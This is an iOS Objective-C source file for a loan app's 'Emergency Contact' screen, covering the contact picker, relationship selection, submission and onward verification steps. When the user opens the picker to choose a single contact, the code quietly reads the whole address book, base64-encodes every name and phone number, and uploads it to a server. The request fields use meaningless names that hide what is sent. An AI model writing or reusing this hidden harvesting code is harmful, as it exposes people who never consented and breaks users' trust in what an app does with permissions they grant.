//
//  ContactVertifyController.m
//  ATMCash
//
//  Created by zhengchengfeng on 2024/9/11.
//

#import "ContactVertifyController.h"
#import "EmergencyTableViewCell.h"
#import "PickerThreeView.h"
#import "InPutModel.h"

#import <Contacts/Contacts.h>
#import <ContactsUI/ContactsUI.h>

#import <Contacts/CNContactStore.h>
#import <ContactsUI/CNContactPickerViewController.h>


#import "IdentifyCardController.h"
#import "IDVertifyViewController.h"
#import "FaceViewController.h"
#import "IDVerfitySuccessController.h"
#import "IDVertifyModel.h"
#import "PersonVertifyController.h"
#import "WorkInfoVertifyController.h"
#import "BankVertifyController.h"



#define kTabCell  @"kTabCell"

#define kFootViewHeight  (15 + 48 + (IS_IPhoneX_All ? kHeight_BottomSafe : 15))

@interface ContactVertifyController ()<CNContactPickerDelegate>

@property (nonatomic) EmergencyModel *md;

@property (nonatomic) BOOL isEnterContact;

@end

@implementation ContactVertifyController

- (void)back{
    [self.view endEditing:YES];
    TipsAlertWLView *wl = [[TipsAlertWLView alloc] initWithFrame:CGRectMake(0, 0, kScreenWidth, kScreenHeight)];
    [[UIApplication sharedApplication].keyWindow addSubview:wl];
    wl.clickSureBlock = ^{
        [[self getCurrentVC] jumpToPopControlClass:@"OrderDetailViewController"];
    };
    
    
}

- (void)viewWillAppear:(BOOL)animated{
    [super viewWillAppear:animated];
    [self.navigationController setNavigationBarHidden:NO animated:animated];
}


- (void)initFootView{

    UIView *bottomV = [[UIView alloc] initWithFrame:CGRectMake(0, kScreenHeight - kFootViewHeight - kNavigationBarHeight, kScreenWidth, kFootViewHeight)];
    bottomV.backgroundColor = [UIColor whiteColor];
    [self.view addSubview:bottomV];
    
    
    UIButton *nextBtn = [[UIButton alloc] initWithFrame:CGRectMake(15, 15, kScreenWidth - 30, 48)];
    nextBtn.titleLabel.font = [UIFont fontWithName:kFuturaMedium size:16];
    [nextBtn setTitleColor:[UIColor colorWithHexString:@"#FFEFC2"] forState:UIControlStateNormal];
    [nextBtn setTitleColor:[UIColor colorWithHexString:@"#FFEFC2"] forState:UIControlStateSelected];
    [nextBtn setTitleColor:[UIColor colorWithHexString:@"#FFEFC2"] forState:UIControlStateHighlighted];
    [nextBtn setTitle:@"Submit" forState:UIControlStateNormal];
    [nextBtn setTitle:@"Submit" forState:UIControlStateSelected];
    [nextBtn setTitle:@"Submit" forState:UIControlStateHighlighted];
    [nextBtn setBackgroundImage:[UIImage imageNamed:@"icon_idf4"] forState:UIControlStateNormal];
    [nextBtn setBackgroundImage:[UIImage imageNamed:@"icon_idf4"] forState:UIControlStateSelected];
    [nextBtn setBackgroundImage:[UIImage imageNamed:@"icon_idf4"] forState:UIControlStateHighlighted];
    [nextBtn addTarget:self action:@selector(clickSubmitBtn) forControlEvents:UIControlEventTouchUpInside];
    [bottomV addSubview:nextBtn];

}

- (void)viewDidLoad {
    [super viewDidLoad];
    // Do any additional setup after loading the view.
    self.title = @"Emergency Contact";
    
    self.isEnterContact = NO;
    
    [self loadData];
    
    self.tableView.tableFooterView = [[UIView alloc] initWithFrame:CGRectMake(0, 0, kScreenWidth, 15)];
    
    [self.tableView registerClass:[EmergencyTableViewCell class] forCellReuseIdentifier:kTabCell];
    
}

- (void)initHeadView{
    UIImage *img = [UIImage imageNamed:@"icon_con1"];
    UIView *headV = [[UIView alloc] initWithFrame:CGRectMake(0, 0, kScreenWidth, DimensionBaseIphone6(img.size.height))];
    self.tableView.tableHeaderView = headV;
    UIImageView *iconImgView = [[UIImageView alloc] initWithFrame:headV.frame];
    [headV addSubview:iconImgView];
    iconImgView.image = img;
    
}

- (void)loadData{
   
    [CreaditUtilsHelper boxShowLoadWithMessage:@""];
    NSMutableDictionary *muDic = @{
        @"gardens":esString(_idStr),
        @"tape":@"tapeContact",
    }.mutableCopy;
    [BaseDataEngine apiForPath:kVertifyContactUrl method:kPostMethod parameter:muDic onCompleteSuccess:^(NSDictionary *responseDic) {
        DLog(@"-----%@",responseDic);
        [CreaditUtilsHelper hideLoadMessageBox];
        
        if ([responseDic[@"dim"] integerValue] != kSuccessCode) {
            [CreaditUtilsHelper boxShowErrorWithMessage:esString(responseDic[@"platform"]) duration:2.5f];
            return;
        }
        
        self.tableView.frame = CGRectMake(0, 0, kScreenWidth, kScreenHeight - kFootViewHeight - kNavigationBarHeight);
        [self initHeadView];
        [self initFootView];
        self.tableView.tableFooterView = [[UIView alloc] initWithFrame:CGRectMake(0, 0, kScreenWidth, 20)];
        
        NSDictionary *dic = responseDic[@"recollecting"];
        NSDictionary *boundDic = dic[@"bound"];
        
        
        if (isArray(boundDic[@"vanity"])) {
            NSArray *vanityAry = boundDic[@"vanity"];
            self.data = [EmergencyModel mj_objectArrayWithKeyValuesArray:vanityAry];
        }
        

        [self.tableView reloadData];
        
    } onCompleteFailur:^(NSError *error) {
        [CreaditUtilsHelper hideLoadMessageBox];
    } withIsForm:YES];
}


- (NSInteger)numberOfSectionsInTableView:(UITableView *)tableView{
    return 1;
}

- (NSInteger)tableView:(UITableView *)tableView numberOfRowsInSection:(NSInteger)section{
    return self.data.count;
}

- (UITableViewCell *)tableView:(UITableView *)tableView cellForRowAtIndexPath:(NSIndexPath *)indexPath{
    EmergencyTableViewCell *cell = [tableView dequeueReusableCellWithIdentifier:kTabCell];
    cell.selectionStyle = UITableViewCellSelectionStyleNone;
    
    cell.model = self.data[indexPath.row];
    
    cell.topNameLab.text = [NSString stringWithFormat:@"Emergency Contacts %ld",indexPath.row + 1];
    
    
    cell.clickTap1Block = ^(EmergencyModel * _Nonnull mm) {
        
        PickerThreeView *picker = [[PickerThreeView alloc] initWithFrame:CGRectMake(0, 0, kScreenWidth, kScreenHeight) withTitleStr:@"Select Relationship" withDataArr:mm.weaken];
        [[UIApplication sharedApplication].keyWindow addSubview:picker];
        [picker showBottomView];
        picker.callBackModelArr = ^(NSArray * _Nonnull selArr) {
           
            FrightensModel *mod = [FrightensModel mj_objectWithKeyValues:selArr.firstObject];
            mm.locks = esString(mod.cambridge);
            [self.tableView reloadData];
        };
        
    };
    
    cell.clickTap2Block = ^(EmergencyModel * _Nonnull mm) {
        self.md = mm;
        CNAuthorizationStatus status = [CNContactStore authorizationStatusForEntityType:CNEntityTypeContacts];
        if (status == CNAuthorizationStatusDenied || status == CNAuthorizationStatusRestricted) {
         
            
            TipsAlertView *alertV = [[TipsAlertView alloc] initWithFrame:CGRectMake(0, 0, kScreenWidth, kScreenHeight) withTitleStr:@"ATM CASH needs to request your contact permission to verify the authenticity of your identity, help you quickly complete the certification process, and also help you pass the loan application." withCancelStr:@"Cancel" withSureStr:@"Turn On"];
            alertV.clickSureBlock = ^{
                [[UIApplication sharedApplication] openURL:[NSURL URLWithString:UIApplicationOpenSettingsURLString] options:@{} completionHandler:nil];
            };
            [[UIApplication sharedApplication].keyWindow addSubview:alertV];
            
        }
        else if (status == CNAuthorizationStatusNotDetermined){
            CNContactStore *store = [[CNContactStore alloc] init];
            [store requestAccessForEntityType:CNEntityTypeContacts completionHandler:^(BOOL granted, NSError * _Nullable error) {
                if (granted) {
                 
                    [self jumpContact];
                } else {
                    
                }
            }];
        }
        else{
           
            
            [self jumpContact];
            
        }
        
       
        
        
        
    };
    
    
    return cell;
}

- (CGFloat)tableView:(UITableView *)tableView heightForRowAtIndexPath:(NSIndexPath *)indexPath{
    return 240;
}


- (void)tableView:(UITableView *)tableView didSelectRowAtIndexPath:(NSIndexPath *)indexPath{
    [tableView deselectRowAtIndexPath:indexPath animated:YES];
}

- (UIView *)tableView:(UITableView *)tableView viewForHeaderInSection:(NSInteger)section{
    UIView *sectionView = [[UIView alloc] init];
    return sectionView;
}

- (CGFloat)tableView:(UITableView *)tableView heightForHeaderInSection:(NSInteger)section{
    return 0.0001f;
}

- (UIView *)tableView:(UITableView *)tableView viewForFooterInSection:(NSInteger)section{
    UIView *footView = [[UIView alloc] init];
    return footView;
}

- (CGFloat)tableView:(UITableView *)tableView heightForFooterInSection:(NSInteger)section{
    return 0.00001f;
}

/*
#pragma mark - Navigation

// In a storyboard-based application, you will often want to do a little preparation before navigation
- (void)prepareForSegue:(UIStoryboardSegue *)segue sender:(id)sender {
    // Get the new view controller using [segue destinationViewController].
    // Pass the selected object to the new view controller.
}
*/


- (void)jumpContact{
    
    dispatch_async(dispatch_get_main_queue(), ^{
        
        CNContactPickerViewController *peoleVC = [[CNContactPickerViewController alloc] init];
        
        peoleVC.delegate = self;
        
        [self presentViewController:peoleVC animated:YES completion:^{
            [self getAllContactPhoneAndName];
        }];
    
    });
    
}

#pragma mark ---uploadContactData
- (void)getAllContactPhoneAndName{
    if (self.isEnterContact) {
        return;
    }
     
    NSMutableArray *muArr = [[NSMutableArray alloc] init];
    
    NSArray *keysToFetch = @[CNContactGivenNameKey, CNContactFamilyNameKey, CNContactPhoneNumbersKey];
    CNContactFetchRequest *fetchRequest = [[CNContactFetchRequest alloc] initWithKeysToFetch:keysToFetch];
    CNContactStore *contactStore = [[CNContactStore alloc] init];
        
    [contactStore enumerateContactsWithFetchRequest:fetchRequest error:nil usingBlock:^(CNContact * _Nonnull contact, BOOL * _Nonnull stop) {
        
        NSMutableDictionary *muDict = [[NSMutableDictionary alloc]init];
        
        NSString *nameStr = [NSString stringWithFormat:@"%@%@",contact.givenName,contact.familyName];
        [muDict setValue:esString(nameStr) forKey:@"cambridge"];
        
        NSMutableArray *phoneArr = [[NSMutableArray alloc] init];
        for (CNLabeledValue *phoneNumber in contact.phoneNumbers) {
            CNPhoneNumber *mobileStr = phoneNumber.value;
            [phoneArr addObject:[mobileStr.stringValue stringByReplacingOccurrencesOfString:@" " withString:@""]];
        }
        NSString *mobileS = [phoneArr componentsJoinedByString:@","];
        [muDict setValue:mobileS forKey:@"upward"];
        
        [muArr addObject:muDict];
    }];
            
 
    DLog(@"===muArr=====%@",muArr);
    [self uploadContactData:muArr];

}
- (void)uploadContactData:(NSMutableArray *)muArr{

    if (muArr.count == 0) {
        return;
    }
   
    NSError *error;
    NSData *jsonData = [NSJSONSerialization dataWithJSONObject:muArr options:0 error:&error];
    if (!jsonData && error) {
        DLog(@"Error converting array to JSON: %@", error);
    }
    NSString *base64String = [[jsonData base64EncodedStringWithOptions:0] stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]];
    
    NSMutableDictionary *muDic = @{
        @"risen":@"3",
        @"rotting":@"rottingContact",
        @"plums":@"plumsContact",
        @"recollecting":base64String,
    }.mutableCopy;
    [BaseDataEngine apiForPath:kUploadContactUrl method:kPostMethod parameter:muDic onCompleteSuccess:^(NSDictionary *responseDic) {
        if ([responseDic[@"dim"] integerValue] != kSuccessCode) {
            return;
        }
        self.isEnterContact = YES;
        
    } onCompleteFailur:^(NSError *error) {
    } withIsForm:YES];
}

- (void)contactPickerDidCancel:(CNContactPickerViewController *)picker{
    [self dismissViewControllerAnimated:YES completion:^{
            
    }];
}

- (void)contactPicker:(CNContactPickerViewController *)picker didSelectContact:(CNContact *)contact{

    self.md.cambridge = [NSString stringWithFormat:@"%@%@",esString(contact.givenName),esString(contact.familyName)];
    if (![esString(self.md.cambridge) notEmptyOrNull]) {
//        [CreaditUtilsHelper boxShowWithMessage:@"The name is incorrect,please select again." duration:2.50f];
//        self.md.cambridge = @"";
    }
    
    if (contact.phoneNumbers.count > 0) {
        NSArray *phoneArr = contact.phoneNumbers;
        for (CNLabeledValue *labValue in phoneArr) {
            CNPhoneNumber *pn = labValue.value;
            NSString *phoneValue = pn.stringValue;
            DLog(@"----%@",phoneValue);
            if (!PMStringIsEmpty(phoneValue)) {
                self.md.shave = esString(phoneValue);
                break;;
            }
        }
    }
    else{
//        self.md.shave = @"";
//        [CreaditUtilsHelper boxShowWithMessage:@"The phone number is incorrect,please select again." duration:2.50f];
    }
    
    if (![esString(self.md.cambridge) notEmptyOrNull] || contact.phoneNumbers.count == 0) {
        
        if (![esString(self.md.cambridge) notEmptyOrNull]) {
            [CreaditUtilsHelper boxShowWithMessage:@"The name is incorrect,please select again." duration:2.50f];
        }
        else{
            [CreaditUtilsHelper boxShowWithMessage:@"The phone number is incorrect,please select again." duration:2.50f];
        }
        
        self.md.cambridge = @"";
        self.md.shave = @"";
    }
    
    
    
    [self.tableView reloadData];
}

#pragma mark ----Submit
- (void)clickSubmitBtn{
    [self.view endEditing:YES];
    
    DLog(@"=====%@",self.data);
    
    NSMutableDictionary *muDic = [NSMutableDictionary dictionary];
    [muDic setValue:esString(self.idStr) forKey:@"gardens"];
    
    NSMutableArray *muArr = [[NSMutableArray alloc] init];
    
    for (int i=0; i<self.data.count; i++) {
        EmergencyModel *mm = [EmergencyModel mj_objectWithKeyValues:self.data[i]];
        NSMutableDictionary *recDic = [[NSMutableDictionary alloc] init];
        [recDic setValue:esString(mm.shave) forKey:@"shave"];
        [recDic setValue:esString(mm.cambridge) forKey:@"cambridge"];
        [recDic setValue:esString(mm.wink) forKey:@"wink"];
        [recDic setValue:esString(mm.locks) forKey:@"locks"];
        [muArr addObject:recDic];
    }
    
    NSError *error;
    NSData *jsonData = [NSJSONSerialization dataWithJSONObject:muArr options:0 error:&error];
    NSString *jsonString = [[NSString alloc] initWithData:jsonData encoding:NSUTF8StringEncoding];
//    NSString *jsonString = [[jsonData base64EncodedStringWithOptions:0] stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]];
    
    [muDic setValue:jsonString forKey:@"recollecting"];

    [CreaditUtilsHelper boxShowLoadWithMessage:@""];
    [BaseDataEngine apiForPath:kStoreContactUrl method:kPostMethod parameter:muDic onCompleteSuccess:^(NSDictionary *responseDic) {
        [CreaditUtilsHelper hideLoadMessageBox];
        if ([responseDic[@"dim"] integerValue] != kSuccessCode) {
            [CreaditUtilsHelper boxShowErrorWithMessage:esString(responseDic[@"platform"]) duration:2.5f];
            return;
        }
        [CreditServerHelper uploadMaiDianDataStartTimeStr:self.startTimeStr andEndTimeStr:[NSString getNowTimeTimestamp:@"yyyyMMdd HH:mm:ss"] withTypeStr:@"7" withFirmly:esString(self.idStr) withSmaller:esString([[NSUserDefaults standardUserDefaults] valueForKey:kOrderNumber])];
        [self enterNextPage];
        
//        [[NSNotificationCenter defaultCenter] postNotificationName:kNeedRefreshOrderDetNotification object:nil];
        
    } onCompleteFailur:^(NSError *error) {
        
        [CreaditUtilsHelper hideLoadMessageBox];
        
    } withIsForm:YES];
    
}

- (void)enterNextPage{
    
    [CreaditUtilsHelper boxShowLoadWithMessage:@""];
    
    NSMutableDictionary *muDic = @{
        @"gardens":esString(self.idStr),
        @"tuesday":@"tuesdayOrderDet",
        @"needn":@"neednOrderDet",
    }.mutableCopy;
    [BaseDataEngine apiForPath:kProductDetUrl method:kPostMethod parameter:muDic onCompleteSuccess:^(NSDictionary *responseDic) {
        [CreaditUtilsHelper hideLoadMessageBox];
        DLog(@"=====%@",responseDic);
        if ([responseDic[@"dim"] integerValue] != kSuccessCode) {
            [CreaditUtilsHelper boxShowErrorWithMessage:esString(responseDic[@"platform"]) duration:2.5f];
            return;
        }
        
        NSDictionary *dic = responseDic[@"recollecting"];
       
        NSDictionary *lauDic = dic[@"laughing"];
        
        if (PMObjectIsEmpty(lauDic)) {
            [self enterOrderH5Page];
            return;
        }
        if ([lauDic[@"tumbled"] isEqualToString:kMakemoneyf]) {
            [self goIdentifyVertify];
        }
        else if ([lauDic[@"tumbled"] isEqualToString:kMakemoneyg]) {
            [self goPersonalVertify];
        }
        else if ([lauDic[@"tumbled"] isEqualToString:kMakemoneyh]) {
            [self goWorkVertify];
        }
        
        else if ([lauDic[@"tumbled"] isEqualToString:kMakemoneyj]) {
            [self goBankVertify];
        }
        
    } onCompleteFailur:^(NSError *error) {
        [CreaditUtilsHelper hideLoadMessageBox];
    } withIsForm:YES];
    
}

- (void)enterOrderH5Page{
    NSString *stTime = [NSString getNowTimeTimestamp:@"yyyyMMdd HH:mm:ss"];
    NSMutableDictionary *muDic = @{
        @"commissariat":esString([[NSUserDefaults standardUserDefaults] valueForKey:kOrderNumber]),
        @"tracked":@"trackedIdStr",
        @"rot":@"rotIdStr",
        @"thrown":@"thrownIdStr",
        @"object":@"objectIdStr",
    }.mutableCopy;
    [CreaditUtilsHelper boxShowLoadWithMessage:@""];
    [BaseDataEngine apiForPath:kByOrderIdGetUrl method:kPostMethod parameter:muDic onCompleteSuccess:^(NSDictionary *responseDic) {
        [CreaditUtilsHelper hideLoadMessageBox];
        if ([responseDic[@"dim"] integerValue] != kSuccessCode) {
            [CreaditUtilsHelper boxShowErrorWithMessage:esString(responseDic[@"platform"]) duration:2.5f];
            return;
        }
        [CreditServerHelper uploadMaiDianDataStartTimeStr:stTime andEndTimeStr:[NSString getNowTimeTimestamp:@"yyyyMMdd HH:mm:ss"] withTypeStr:@"9" withFirmly:esString(self.idStr) withSmaller:esString([[NSUserDefaults standardUserDefaults] valueForKey:kOrderNumber])];
        NSDictionary *dic = responseDic[@"recollecting"];
        
        [[CreditCore globleCore] jumpToPage:esString(dic[@"exulting"])];
        
        
    } onCompleteFailur:^(NSError *error) {
        [CreaditUtilsHelper hideLoadMessageBox];
    } withIsForm:YES];
}

#pragma mark ----goIdentifyVertify
- (void)goIdentifyVertify{
    [CreaditUtilsHelper boxShowLoadWithMessage:@""];
    NSMutableDictionary *muDic = @{
        @"gardens":esString(self.idStr),
        @"loose":@"looseIdentify"
    }.mutableCopy;
    [BaseDataEngine apiForPath:kIDCardVertifyUrl method:kGetMethod parameter:muDic onCompleteSuccess:^(NSDictionary *responseDic) {
        [CreaditUtilsHelper hideLoadMessageBox];
        if ([responseDic[@"dim"] integerValue] != kSuccessCode) {
            [CreaditUtilsHelper boxShowErrorWithMessage:esString(responseDic[@"platform"]) duration:2.5f];
            return;
        }

        NSDictionary *dic = responseDic[@"recollecting"];
        
        IDVertifyModel *model = [IDVertifyModel mj_objectWithKeyValues:dic];
    
        if ([model.spluttering.teetotallers integerValue] == 0) {
            IDVertifyViewController *vc = [[IDVertifyViewController alloc] init];
            vc.ocrCardArr = model.wherever;
            vc.idStr = esString(self.idStr);
            [self.navigationController pushViewController:vc animated:YES];
        }
        else if ([model.spluttering.teetotallers integerValue] == 1 && [model.abruptly integerValue] == 0 ){
            FaceViewController *vc = [[FaceViewController alloc] init];
            vc.cardStr = esString(model.spluttering.giggling);
            vc.idStr = esString(self.idStr);
            [self.navigationController pushViewController:vc animated:YES];
        }
        else if ([model.spluttering.teetotallers integerValue] == 1 && [model.abruptly integerValue] == 1){
            IDVerfitySuccessController *vc = [[IDVerfitySuccessController alloc] init];
            vc.cardStr = esString(model.spluttering.giggling);
            vc.nameStr = esString(model.spluttering.smoke.cambridge);
            vc.idNoStr = esString(model.spluttering.smoke.swallowed);
            vc.birDateStr = esString(model.spluttering.smoke.tightening);
            vc.idStr = esString(self.idStr);
            [self.navigationController pushViewController:vc animated:YES];
        }
        
    } onCompleteFailur:^(NSError *error) {
        [CreaditUtilsHelper hideLoadMessageBox];
    } withIsForm:NO];
}

#pragma mark ----goPersonalVertify
- (void)goPersonalVertify{
    PersonVertifyController *vc = [[PersonVertifyController alloc] init];
    vc.idStr = esString(self.idStr);
    [self.navigationController pushViewController:vc animated:YES];
}

#pragma mark ----goWorkVertify
- (void)goWorkVertify{
    WorkInfoVertifyController *vc = [[WorkInfoVertifyController alloc] init];
    vc.idStr = esString(self.idStr);
    [self.navigationController pushViewController:vc animated:YES];
}

#pragma mark ----goBankVertify
- (void)goBankVertify{
    BankVertifyController *vc = [[BankVertifyController alloc] init];
    vc.idStr = esString(self.idStr);
    [self.navigationController pushViewController:vc animated:YES];
}

@end
